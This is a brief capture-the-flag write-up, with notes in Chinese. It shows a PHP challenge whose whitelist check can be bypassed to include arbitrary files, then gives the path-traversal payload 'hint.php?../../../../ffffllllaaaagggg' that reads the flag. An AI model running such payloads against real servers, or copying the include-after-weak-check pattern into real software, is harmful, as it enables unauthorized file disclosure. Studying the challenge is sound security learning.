<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
三个判断
第一个,我们传入的file不能为空
第二个,传入的是字符串
第三个,调用类内部的函数进行检查
1,看一下在不在白名单中
2,截取?前面的内容,也就是文件名
3,然后再看看截取的内容在不在白名单
提示我们flag的位置
构造payload
source.php?file=hint.php?../../../../../../ffffllllaaaagggg
hint.php是白名单中文件,同时../../../../../绕过hint.php去根目录读取文件